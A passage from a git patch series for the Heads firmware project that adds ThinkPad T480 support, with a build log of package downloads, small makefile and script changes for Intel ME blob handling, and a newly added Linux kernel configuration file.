"/home/user/heads/build/x86/coreboot-t480/.heads-crossgcc-pkg-gcc" WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "nasm" "/home/user/heads/packages/x86" --2025-02-11 14:46:48-- https://www.nasm.us/pub/nasm/releasebuilds/2.16.03/nasm-2.16.03.tar.bz2 Resolving www.nasm.us (www.nasm.us)... 198.137.202.136, 2607:7c80:54:3::136 Connecting to www.nasm.us (www.nasm.us)|198.137.202.136|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 1361988 (1.3M) [application/x-bzip2] Saving to: '/home/user/heads/packages/x86/coreboot-crossgcc-nasm-2.16.03.tar.bz2.tmp' /home/user/heads/packages/x86/coreboot-crossgcc-nasm 100%[=====================================================================================================================>] 1.30M 2.90MB/s in 0.4s 2025-02-11 14:46:49 (2.90 MB/s) - '/home/user/heads/packages/x86/coreboot-crossgcc-nasm-2.16.03.tar.bz2.tmp' saved [1361988/1361988] /home/user/heads/packages/x86/coreboot-crossgcc-nasm-2.16.03.tar.bz2.tmp: OK touch "/home/user/heads/build/x86/coreboot-t480/.heads-crossgcc-pkg-nasm" WGET="" bin/fetch_coreboot_crossgcc_archive.sh "/home/user/heads/build/x86/coreboot-t480" "iasl" "/home/user/heads/packages/x86" --2025-02-11 14:46:49-- https://distfiles.macports.org/acpica/acpica-unix-20241212.tar.gz Resolving distfiles.macports.org (distfiles.macports.org)... 151.101.138.132 Connecting to distfiles.macports.org (distfiles.macports.org)|151.101.138.132|:443... connected. HTTP request sent, awaiting response... 404 Not Found 2025-02-11 14:46:50 ERROR 404: Not Found. Failed to download https://distfiles.macports.org/acpica/acpica-unix-20241212.tar.gz Try mirrors for coreboot-crossgcc-acpica-unix-20241212.tar.gz --2025-02-11 14:46:50-- https://storage.puri.st/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz Resolving storage.puri.st (storage.puri.st)... 146.190.140.226 Connecting to storage.puri.st (storage.puri.st)|146.190.140.226|:443... connected. HTTP request sent, awaiting response... 404 Not Found 2025-02-11 14:46:51 ERROR 404: Not Found. Failed to download https://storage.puri.st/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz --2025-02-11 14:46:51-- https://storage.puri.sm/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz Resolving storage.puri.sm (storage.puri.sm)... 146.190.140.226 Connecting to storage.puri.sm (storage.puri.sm)|146.190.140.226|:443... connected. HTTP request sent, awaiting response... 404 Not Found 2025-02-11 14:46:52 ERROR 404: Not Found. Failed to download https://storage.puri.sm/heads-packages/coreboot-crossgcc-acpica-unix-20241212.tar.gz Signed-off-by: Thierry Laurion --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 1aad36d70..7de21fb43 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -101,7 +101,7 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above coreboot-t480_repo := https://review.coreboot.org/coreboot.git coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a -$(eval $(call coreboot_module,t480,)) +$(eval $(call coreboot_module,t480,24.02.01)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 304f6b9a8c1b8dfb6b7447654d8f64e7579a0885 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:08:18 -0500 Subject: [PATCH 10/50] blobs/t480/download-clean-deguard-me.sh: deguard local call needs python when used under nix docker Signed-off-by: Thierry Laurion --- blobs/t480/download-clean-deguard-me.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/blobs/t480/download-clean-deguard-me.sh b/blobs/t480/download-clean-deguard-me.sh index 12e2a6958..d72c44087 100755 --- a/blobs/t480/download-clean-deguard-me.sh +++ b/blobs/t480/download-clean-deguard-me.sh @@ -79,7 +79,7 @@ if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then ME11sku="2M" ME11pch="LP" - ./finalimage.py --delta "data/delta/$ME11delta" \ + python ./finalimage.py --delta "data/delta/$ME11delta" \ --version "$ME11version" \ --pch "$ME11pch" --sku "$ME11sku" --fake-fpfs data/fpfs/zero \ --input "${temp_path}/me_cleaned.bin" \ From 5ce57053e6cceac77d4063c48660b9819d7ec3b3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:09:21 -0500 Subject: [PATCH 11/50] boards/t480-maximized/t480-maximized.config: use t480 target that calls blobs scripts Signed-off-by: Thierry Laurion --- boards/t480-maximized/t480-maximized.config | 17 ++--------------- 1 file changed, 2 insertions(+), 15 deletions(-) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index b987ab9f6..9b48ef87f 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -48,18 +48,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad T480" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" -# COPIED FROM T440p! NEEDS ADAPTION!!!! -# Make the Coreboot build depend on the following 3rd party blobs: -$(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ - $(pwd)/blobs/haswell/mrc.bin $(pwd)/blobs/t440p/me.bin - -$(pwd)/blobs/haswell/mrc.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/haswell/obtain-mrc $(pwd)/blobs/haswell - -$(pwd)/blobs/t440p/me.bin: - COREBOOT_DIR="$(build)/$(coreboot_base_dir)" \ - $(pwd)/blobs/t440p/download-clean-me $(pwd)/blobs/t440p - -# Generate split 4MB top / 8MB bottom ROMs -#BOARD_TARGETS += split_8mb4mb Is there an other command for not splitting stuff at the end or is this the default option anyways? +# t480 blobs requirements +BOARD_TARGETS += t480_me_blobs From c44285c58e17563b06a3b995714fca26cf4aad3e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:10:28 -0500 Subject: [PATCH 12/50] config/linux-t480.config: use config/linux-librem_common-6.1.8.config as base Signed-off-by: Thierry Laurion --- config/linux-t480.config | 3135 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 3135 insertions(+) create mode 100644 config/linux-t480.config diff --git a/config/linux-t480.config b/config/linux-t480.config new file mode 100644 index 000000000..b7b2d58ce --- /dev/null +++ b/config/linux-t480.config @@ -0,0 +1,3135 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/x86 6.1.8 Kernel Configuration +# +CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" +CONFIG_CC_IS_GCC=y +CONFIG_GCC_VERSION=80300 +CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 +CONFIG_LLD_VERSION=0 +CONFIG_CC_CAN_LINK=y +CONFIG_CC_CAN_LINK_STATIC=y +CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_TABLE_SORT=y +CONFIG_THREAD_INFO_IN_TASK=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +# CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set +CONFIG_LOCALVERSION="-@BRAND_NAME@" +# CONFIG_LOCALVERSION_AUTO is not set +CONFIG_BUILD_SALT="" +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_BZIP2=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y +CONFIG_HAVE_KERNEL_ZSTD=y +# CONFIG_KERNEL_GZIP is not set +# CONFIG_KERNEL_BZIP2 is not set +# CONFIG_KERNEL_LZMA is not set +CONFIG_KERNEL_XZ=y +# CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set +# CONFIG_KERNEL_ZSTD is not set +CONFIG_DEFAULT_INIT="" +CONFIG_DEFAULT_HOSTNAME="(none)" +# CONFIG_SYSVIPC is not set +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_WATCH_QUEUE is not set +# CONFIG_CROSS_MEMORY_ATTACH is not set +# CONFIG_USELIB is not set +# CONFIG_AUDIT is not set +CONFIG_HAVE_ARCH_AUDITSYSCALL=y + +# +# IRQ subsystem +# +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_GENERIC_IRQ_EFFECTIVE_AFF_MASK=y +CONFIG_GENERIC_PENDING_IRQ=y +CONFIG_GENERIC_IRQ_MIGRATION=y +CONFIG_HARDIRQS_SW_RESEND=y +CONFIG_IRQ_DOMAIN=y +CONFIG_IRQ_DOMAIN_HIERARCHY=y +CONFIG_GENERIC_MSI_IRQ=y +CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y +CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y +CONFIG_GENERIC_IRQ_RESERVATION_MODE=y +CONFIG_IRQ_FORCED_THREADING=y +CONFIG_SPARSE_IRQ=y +# end of IRQ subsystem + +CONFIG_CLOCKSOURCE_WATCHDOG=y +CONFIG_ARCH_CLOCKSOURCE_INIT=y +CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y +CONFIG_GENERIC_TIME_VSYSCALL=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y +CONFIG_GENERIC_CMOS_UPDATE=y +CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +# CONFIG_NO_HZ_FULL is not set +# CONFIG_NO_HZ is not set +# CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 +# end of Timers subsystem + +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y +CONFIG_PREEMPT_NONE=y +# CONFIG_PREEMPT_VOLUNTARY is not set +# CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set +# CONFIG_IRQ_TIME_ACCOUNTING is not set +# CONFIG_PSI is not set +# end of CPU/Task time and stats accounting + +# CONFIG_CPU_ISOLATION is not set + +# +# RCU Subsystem +# +CONFIG_TREE_RCU=y +# CONFIG_RCU_EXPERT is not set +CONFIG_SRCU=y +CONFIG_TREE_SRCU=y +CONFIG_RCU_STALL_COMMON=y +CONFIG_RCU_NEED_SEGCBLIST=y +# end of RCU Subsystem + +# CONFIG_IKCONFIG is not set +# CONFIG_IKHEADERS is not set +CONFIG_LOG_BUF_SHIFT=18 +CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 +CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 +CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y + +# +# Scheduler features +# +# CONFIG_UCLAMP_TASK is not set +# end of Scheduler features + +CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y +CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y +CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y +CONFIG_ARCH_SUPPORTS_INT128=y +# CONFIG_CGROUPS is not set +# CONFIG_CHECKPOINT_RESTORE is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +# CONFIG_RELAY is not set +CONFIG_BLK_DEV_INITRD=y +CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" +CONFIG_INITRAMFS_ROOT_UID=0 +CONFIG_INITRAMFS_ROOT_GID=0 +# CONFIG_RD_GZIP is not set +# CONFIG_RD_BZIP2 is not set +# CONFIG_RD_LZMA is not set +CONFIG_RD_XZ=y +# CONFIG_RD_LZO is not set +# CONFIG_RD_LZ4 is not set +# CONFIG_RD_ZSTD is not set +CONFIG_INITRAMFS_COMPRESSION_XZ=y +# CONFIG_INITRAMFS_COMPRESSION_NONE is not set +# CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set +# CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set +CONFIG_CC_OPTIMIZE_FOR_SIZE=y +CONFIG_LD_ORPHAN_WARN=y +CONFIG_SYSCTL=y +CONFIG_SYSCTL_EXCEPTION_TRACE=y +CONFIG_HAVE_PCSPKR_PLATFORM=y +CONFIG_EXPERT=y +# CONFIG_MULTIUSER is not set +# CONFIG_SGETMASK_SYSCALL is not set +# CONFIG_SYSFS_SYSCALL is not set +# CONFIG_FHANDLE is not set +CONFIG_POSIX_TIMERS=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_PCSPKR_PLATFORM=y +# CONFIG_BASE_FULL is not set +CONFIG_FUTEX=y +CONFIG_FUTEX_PI=y +CONFIG_EPOLL=y +# CONFIG_SIGNALFD is not set +# CONFIG_TIMERFD is not set +# CONFIG_EVENTFD is not set +CONFIG_SHMEM=y +# CONFIG_AIO is not set +CONFIG_IO_URING=y +# CONFIG_ADVISE_SYSCALLS is not set +CONFIG_MEMBARRIER=y +# CONFIG_KALLSYMS is not set +CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y +# CONFIG_RSEQ is not set +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y +# CONFIG_PC104 is not set + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +# end of Kernel Performance Events And Counters + +# CONFIG_PROFILING is not set +# end of General setup + +CONFIG_64BIT=y +CONFIG_X86_64=y +CONFIG_X86=y +CONFIG_INSTRUCTION_DECODER=y +CONFIG_OUTPUT_FORMAT="elf64-x86-64" +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_MMU=y +CONFIG_ARCH_MMAP_RND_BITS_MIN=28 +CONFIG_ARCH_MMAP_RND_BITS_MAX=32 +CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8 +CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16 +CONFIG_GENERIC_ISA_DMA=y +CONFIG_GENERIC_BUG=y +CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y +CONFIG_ARCH_MAY_HAVE_PC_FDC=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_ARCH_HAS_CPU_RELAX=y +CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_AUDIT_ARCH=y +CONFIG_HAVE_INTEL_TXT=y +CONFIG_X86_64_SMP=y +CONFIG_ARCH_SUPPORTS_UPROBES=y +CONFIG_FIX_EARLYCON_MEM=y +CONFIG_PGTABLE_LEVELS=4 +CONFIG_CC_HAS_SANE_STACKPROTECTOR=y + +# +# Processor type and features +# +CONFIG_SMP=y +CONFIG_X86_FEATURE_NAMES=y +# CONFIG_X86_MPPARSE is not set +# CONFIG_GOLDFISH is not set +# CONFIG_X86_CPU_RESCTRL is not set +# CONFIG_X86_EXTENDED_PLATFORM is not set +# CONFIG_X86_INTEL_LPSS is not set +# CONFIG_X86_AMD_PLATFORM_DEVICE is not set +CONFIG_IOSF_MBI=y +CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y +CONFIG_SCHED_OMIT_FRAME_POINTER=y +# CONFIG_HYPERVISOR_GUEST is not set +# CONFIG_MK8 is not set +# CONFIG_MPSC is not set +CONFIG_MCORE2=y +# CONFIG_MATOM is not set +# CONFIG_GENERIC_CPU is not set +CONFIG_X86_INTERNODE_CACHE_SHIFT=6 +CONFIG_X86_L1_CACHE_SHIFT=6 +CONFIG_X86_INTEL_USERCOPY=y +CONFIG_X86_USE_PPRO_CHECKSUM=y +CONFIG_X86_P6_NOP=y +CONFIG_X86_TSC=y +CONFIG_X86_CMPXCHG64=y +CONFIG_X86_CMOV=y +CONFIG_X86_MINIMUM_CPU_FAMILY=64 +CONFIG_X86_DEBUGCTLMSR=y +CONFIG_IA32_FEAT_CTL=y +CONFIG_X86_VMX_FEATURE_NAMES=y +CONFIG_PROCESSOR_SELECT=y +CONFIG_CPU_SUP_INTEL=y +# CONFIG_CPU_SUP_AMD is not set +# CONFIG_CPU_SUP_HYGON is not set +# CONFIG_CPU_SUP_CENTAUR is not set +# CONFIG_CPU_SUP_ZHAOXIN is not set +CONFIG_HPET_TIMER=y +CONFIG_HPET_EMULATE_RTC=y +CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y +# CONFIG_MAXSMP is not set +CONFIG_NR_CPUS_RANGE_BEGIN=2 +CONFIG_NR_CPUS_RANGE_END=512 +CONFIG_NR_CPUS_DEFAULT=64 +CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y +CONFIG_SCHED_SMT=y +CONFIG_SCHED_MC=y +CONFIG_SCHED_MC_PRIO=y +CONFIG_X86_LOCAL_APIC=y +CONFIG_X86_IO_APIC=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set +CONFIG_X86_MCE=y +# CONFIG_X86_MCELOG_LEGACY is not set +CONFIG_X86_MCE_INTEL=y +CONFIG_X86_MCE_THRESHOLD=y + +# +# Performance monitoring +# +# CONFIG_PERF_EVENTS_INTEL_UNCORE is not set +# CONFIG_PERF_EVENTS_INTEL_RAPL is not set +# CONFIG_PERF_EVENTS_INTEL_CSTATE is not set +# end of Performance monitoring + +# CONFIG_X86_VSYSCALL_EMULATION is not set +CONFIG_X86_IOPL_IOPERM=y +# CONFIG_MICROCODE is not set +# CONFIG_X86_MSR is not set +# CONFIG_X86_CPUID is not set +# CONFIG_X86_5LEVEL is not set +CONFIG_X86_DIRECT_GBPAGES=y +# CONFIG_NUMA is not set +CONFIG_ARCH_SPARSEMEM_ENABLE=y +CONFIG_ARCH_SPARSEMEM_DEFAULT=y +CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 +CONFIG_X86_PMEM_LEGACY_DEVICE=y +CONFIG_X86_PMEM_LEGACY=y +# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set +# CONFIG_MTRR is not set +CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set +# CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set +CONFIG_X86_INTEL_TSX_MODE_OFF=y +# CONFIG_X86_INTEL_TSX_MODE_ON is not set +# CONFIG_X86_INTEL_TSX_MODE_AUTO is not set +CONFIG_EFI=y +# CONFIG_EFI_STUB is not set +# CONFIG_HZ_100 is not set +CONFIG_HZ_250=y +# CONFIG_HZ_300 is not set +# CONFIG_HZ_1000 is not set +CONFIG_HZ=250 +CONFIG_KEXEC=y +CONFIG_KEXEC_FILE=y +CONFIG_ARCH_HAS_KEXEC_PURGATORY=y +# CONFIG_KEXEC_SIG is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_PHYSICAL_START=0x1000000 +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y +CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 +CONFIG_HOTPLUG_CPU=y +# CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set +# CONFIG_DEBUG_HOTPLUG_CPU0 is not set +# CONFIG_LEGACY_VSYSCALL_XONLY is not set +CONFIG_LEGACY_VSYSCALL_NONE=y +# CONFIG_CMDLINE_BOOL is not set +# CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set +CONFIG_HAVE_LIVEPATCH=y +# end of Processor type and features + +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +# CONFIG_RETPOLINE is not set +CONFIG_CPU_IBRS_ENTRY=y +CONFIG_ARCH_HAS_ADD_PAGES=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y + +# +# Power management and ACPI options +# +# CONFIG_SUSPEND is not set +# CONFIG_PM is not set +# CONFIG_ENERGY_MODEL is not set +CONFIG_ARCH_SUPPORTS_ACPI=y +CONFIG_ACPI=y +CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y +CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y +CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y +# CONFIG_ACPI_DEBUGGER is not set +CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set +CONFIG_ACPI_LPIT=y +CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y +# CONFIG_ACPI_EC_DEBUGFS is not set +CONFIG_ACPI_AC=y +CONFIG_ACPI_BATTERY=y +CONFIG_ACPI_BUTTON=y +CONFIG_ACPI_FAN=y +# CONFIG_ACPI_DOCK is not set +CONFIG_ACPI_CPU_FREQ_PSS=y +CONFIG_ACPI_PROCESSOR_CSTATE=y +CONFIG_ACPI_PROCESSOR_IDLE=y +CONFIG_ACPI_CPPC_LIB=y +CONFIG_ACPI_PROCESSOR=y +CONFIG_ACPI_HOTPLUG_CPU=y +# CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set +CONFIG_ACPI_THERMAL=y +CONFIG_ACPI_CUSTOM_DSDT_FILE="" +CONFIG_ARCH_HAS_ACPI_TABLE_UPGRADE=y +CONFIG_ACPI_TABLE_UPGRADE=y +# CONFIG_ACPI_DEBUG is not set +# CONFIG_ACPI_PCI_SLOT is not set +CONFIG_ACPI_CONTAINER=y +CONFIG_ACPI_HOTPLUG_IOAPIC=y +# CONFIG_ACPI_SBS is not set +# CONFIG_ACPI_HED is not set +# CONFIG_ACPI_BGRT is not set +# CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set +# CONFIG_ACPI_NFIT is not set +CONFIG_HAVE_ACPI_APEI=y +CONFIG_HAVE_ACPI_APEI_NMI=y +# CONFIG_ACPI_APEI is not set +# CONFIG_ACPI_DPTF is not set +# CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y +# CONFIG_PMIC_OPREGION is not set +CONFIG_ACPI_PRMT=y +CONFIG_X86_PM_TIMER=y + +# +# CPU Frequency scaling +# +CONFIG_CPU_FREQ=y +CONFIG_CPU_FREQ_GOV_ATTR_SET=y +# CONFIG_CPU_FREQ_STAT is not set +CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_DEFAULT_GOV_SCHEDUTIL is not set +CONFIG_CPU_FREQ_GOV_PERFORMANCE=y +# CONFIG_CPU_FREQ_GOV_POWERSAVE is not set +# CONFIG_CPU_FREQ_GOV_USERSPACE is not set +# CONFIG_CPU_FREQ_GOV_ONDEMAND is not set +# CONFIG_CPU_FREQ_GOV_CONSERVATIVE is not set +CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y + +# +# CPU frequency scaling drivers +# +CONFIG_X86_INTEL_PSTATE=y +# CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set +# CONFIG_X86_ACPI_CPUFREQ is not set +# CONFIG_X86_SPEEDSTEP_CENTRINO is not set +# CONFIG_X86_P4_CLOCKMOD is not set + +# +# shared options +# +# end of CPU Frequency scaling + +# +# CPU Idle +# +CONFIG_CPU_IDLE=y +# CONFIG_CPU_IDLE_GOV_LADDER is not set +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_CPU_IDLE_GOV_TEO is not set +# end of CPU Idle + +# CONFIG_INTEL_IDLE is not set +# end of Power management and ACPI options + +# +# Bus options (PCI etc.) +# +CONFIG_PCI_DIRECT=y +# CONFIG_PCI_MMCONFIG is not set +# CONFIG_PCI_CNB20LE_QUIRK is not set +# CONFIG_ISA_BUS is not set +CONFIG_ISA_DMA_API=y +# end of Bus options (PCI etc.) + +# +# Binary Emulations +# +# CONFIG_IA32_EMULATION is not set +# CONFIG_X86_X32_ABI is not set +# end of Binary Emulations + +CONFIG_HAVE_KVM=y +# CONFIG_VIRTUALIZATION is not set +CONFIG_AS_AVX512=y +CONFIG_AS_SHA1_NI=y +CONFIG_AS_SHA256_NI=y +CONFIG_AS_TPAUSE=y + +# +# General architecture-dependent options +# +CONFIG_CRASH_CORE=y +CONFIG_KEXEC_CORE=y +CONFIG_HOTPLUG_SMT=y +CONFIG_GENERIC_ENTRY=y +# CONFIG_KPROBES is not set +CONFIG_JUMP_LABEL=y +# CONFIG_STATIC_KEYS_SELFTEST is not set +# CONFIG_STATIC_CALL_SELFTEST is not set +CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y +CONFIG_ARCH_USE_BUILTIN_BSWAP=y +CONFIG_HAVE_IOREMAP_PROT=y +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_OPTPROBES=y +CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_ARCH_CORRECT_STACKTRACE_ON_KRETPROBE=y +CONFIG_HAVE_FUNCTION_ERROR_INJECTION=y +CONFIG_HAVE_NMI=y +CONFIG_TRACE_IRQFLAGS_SUPPORT=y +CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_CONTIGUOUS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_ARCH_HAS_FORTIFY_SOURCE=y +CONFIG_ARCH_HAS_SET_MEMORY=y +CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y +CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y +CONFIG_ARCH_WANTS_NO_INSTR=y +CONFIG_HAVE_ASM_MODVERSIONS=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_RSEQ=y +CONFIG_HAVE_RUST=y +CONFIG_HAVE_FUNCTION_ARG_ACCESS_API=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y +CONFIG_HAVE_USER_RETURN_NOTIFIER=y +CONFIG_HAVE_PERF_EVENTS_NMI=y +CONFIG_HAVE_HARDLOCKUP_DETECTOR_PERF=y +CONFIG_HAVE_PERF_REGS=y +CONFIG_HAVE_PERF_USER_STACK_DUMP=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_HAVE_ARCH_JUMP_LABEL_RELATIVE=y +CONFIG_MMU_GATHER_MERGE_VMAS=y +CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y +CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y +CONFIG_HAVE_CMPXCHG_LOCAL=y +CONFIG_HAVE_CMPXCHG_DOUBLE=y +CONFIG_HAVE_ARCH_SECCOMP=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +# CONFIG_SECCOMP is not set +CONFIG_HAVE_ARCH_STACKLEAK=y +CONFIG_HAVE_STACKPROTECTOR=y +CONFIG_STACKPROTECTOR=y +CONFIG_STACKPROTECTOR_STRONG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG=y +CONFIG_ARCH_SUPPORTS_LTO_CLANG_THIN=y +CONFIG_LTO_NONE=y +CONFIG_ARCH_SUPPORTS_CFI_CLANG=y +CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y +CONFIG_HAVE_CONTEXT_TRACKING_USER=y +CONFIG_HAVE_CONTEXT_TRACKING_USER_OFFSTACK=y +CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_MOVE_PUD=y +CONFIG_HAVE_MOVE_PMD=y 